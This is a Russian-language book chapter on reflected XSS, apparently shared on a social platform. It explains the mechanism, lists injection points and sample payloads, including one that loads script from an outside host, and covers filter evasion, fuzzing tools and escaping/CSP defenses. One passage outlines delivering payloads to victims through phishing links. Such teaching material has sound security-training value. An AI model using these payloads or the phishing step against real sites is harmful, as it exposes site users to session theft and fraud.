Книга: «Все об уязвимости XSS». Глава 2: Типы XSS — Знай врага в лицо 👀 • Reflected XSS (Отражённый): быстро, грязно, одноразово

Если бы XSS раздавали по типам личности, Reflected XSS был бы уличным гопником — дерзким, быстрым, но редко оставляет следы после драки. Это та атака, которую ты можешь провернуть за пару минут на любом полу-сыро написанном сайте, не беспокоясь о массовых заражениях или сложных цепочках. Раздел для тех, кто любит быстрые победы и легкую грязь на руках.

Как работает Reflected XSS

В основе механики — отражение пользовательских данных обратно в ответ страницы, без какой-либо экранизации или проверки. Ты отправляешь запрос, сайт принимает твой мусор в качестве входных данных и моментально вставляет их в HTML-разметку, JavaScript или другой чувствительный контекст страницы.

Типичный сценарий:

1. Пользователь заполняет форму (поиск, обратная связь, коммент, и т.д.) или кликает по ссылке с параметрами в URL.

2. Сервер получает параметры, решает “а почему бы не показать их прямо в исходном коде страницы — юзер же ввёл сам”.

3. Если сервер не экранирует/фильтрует ввод, браузер послушно выполняет код, отражённый в ответе.

Отсюда и “reflected” — атака срабатывает только если жертва перешла по специально сконструированной ссылке, и вредоносный payload содержится непосредственно в HTTP-запросе (URL, POST-данных, заголовке).

Примеры атаки

Обычный use case — поисковые формы:

<form>
<input type="text" name="q">
<input type="submit" value="Поиск">
</form>

Сайт по наивности выводит:

“Результаты поиска по запросу: запрос”

Адекватный URL:

`https://site.ru/search?q=hello`

Payload:

`https://site.ru/search?q=<script>alert('XSS')</script>`

И если сайт просто вставляет значение параметра `q` в HTML:

<p>Результаты поиска: <script>alert('XSS')</script></p>

Всё, JavaScript выполнен.

В каких местах искать

Reflected XSS — это всегда про быстрое тестирование точек входа. Твои лучшие друзья:

• URL-параметры (GET- и POST-запросы)

• Формы обратной связи (комментарии, регистрация, авторизация)

• Заголовки HTTP (User-Agent, Referer, Origin — многие ленивые админы логируют их или показывают на странице)

• Cookies (редко, но встречается)

Чем проще сайт, тем больше шансов на успех. Корпоративные порталы, самописные CMS, публичные формы, дешёвые сервисы анализа — это идеальная жертва.

Фаст-фуд-эксплуатация

Reflected XSS хорош тем, что не требует длительного взаимодействия с системой. Тебе нужен только контролируемый запрос и жертва, которая перейдёт по твоей ссылке.

1. Готовишь payload c вредоносным JavaScript.

2. Вставляешь его в параметр (URL, POST-данные, header).

3. Формируешь фишинговую ссылку или почтовое письмо (“Посмотри результаты поиска!”).

4. Тыкаешь — и магия случается.

Атаку сложно обнаружить постфактум — всё живёт буквально секунды, никаких следов в базе данных, никакой массовой компрометации. Чисто, быстро, одноразово. Именно поэтому reflected XSS — любимое оружие phishers и мошенников.

Типовые payload’ы и трюки

Лайфхак: тебе не нужен сложный код для тестов. Начни с банального `<script>alert(1)</script>`. Если сработало — можно наращивать функционал.

Event-хендлеры: `"><img src=x onerror=alert('XSS')>`

JavaScript URI: `javascript:alert(1)`

Атрибуты: `"><svg/onload=alert('XSS')>`

Универсальные polyglots: `"><script/src=//0.nm/a>.js>`

Обфускация — отдельная тема. Иногда сайты фильтруют знакомые паттерны (например, прямые `<script>`), но забывают про нестандартные варианты:

• Base64-энкодинг

• Юникодные escape-последовательности

• Разрыв тега (`<scr<script>ipt>`)

Fuzzing и автоматизация

Ручная работа хороша для классических дыр, но надо автоматизировать процесс:

Burp Suite Intruder — засылаешь десятки тысяч payload’ов, Burp ловит успешные срабатывания.

OWASP ZAP — бесплатный инструмент, который просканирует все URL на наличие XSS.

XSS Hunter — сервис для ловли Blind XSS, но и для reflected хорош, если хочешь автоматизировать сбор payload’ов.

Вариант для ленивых — взять готовые списки из ресурсов типа PayloadAllTheThings, XSS-готовые чеклисты, интегрировать их в свой фреймворк/скрипт и просто атаковать все точки входа по кругу.

Почему reflected XSS “одноразовый”

Суть в том, что reflecting работает только при клиентском запросе и не сохраняется на сервере.

• Жертва должна перейти по вредоносной ссылке.

• Если она закроет страницу или обновит без запроса — payload исчезнет, атака не сработает.

• Сервер ничего не помнит, ничего не записывает в базу.

Защита проще — нужно просто проверять, что на выходе не выводится неэкранированный ввод пользователя. Но именно эта “мгновенность” делает reflected XSS любимым вектором для targeted phishing, email-атак, и exploitation в аутичных интеграциях (например, автоматические системы отчетности/мониторинга).

Как защищаться

Кратко: выводишь любые пользовательские данные на страницу — всегда экранируй.

• Используй функции типа `htmlspecialchars`, `escape`, или аналоги в любом фреймворке.

• Никогда не вставляй ввод пользователя в JS-контекст без strip/encode.

• Заводи баги на любое место, где пользовательский ввод отражается в ответе.

Особенно внимательно — формы поиска, параметры URL, реферы/агенты, любые callback’и.

Дополнительно: включай Content Security Policy, чтобы ограничить возможное выполнение скриптов, используешь фильтрацию на входе и выходе, не забываешь про integrity и nonce для своих JS-ресурсов.

Чеклист для поиска reflected XSS

• Пробуй отправить `<script>alert(1)</script>` через все публичные поля.

• Посмотри, где выводятся твои данные после запроса — поисковые строки, результат формы, ошибки.

• Сохрани список всех точек входа (GET-параметры, POST-поля, заголовки).

• Прогони автоматизированное тестирование через Burp/ZAP.

• Проверь, не срабатывают ли нестандартные векторы, если прямой payload не проходит.

Жизнь после reflected XSS

Reflected XSS — это базовая тренировка перед большим спортом XSS (привет, stored и DOM-based). Это самый доступный способ показать владельцам сайта, что у них не всё ок, и быстро получить признание (или вознаграждение) в Bug Bounty. Научившись искать и эксплуатировать reflected XSS, ты закладываешь фундамент для будущих сложных атак и учишься мыслить как хардкорный эксплойтер: быстро, нагло, по делу.

А в следующем разделе разбираем stored XSS — дар, который продолжает приносить зло даже после первой атаки. Готовь payload’ы!

40 views·3 shares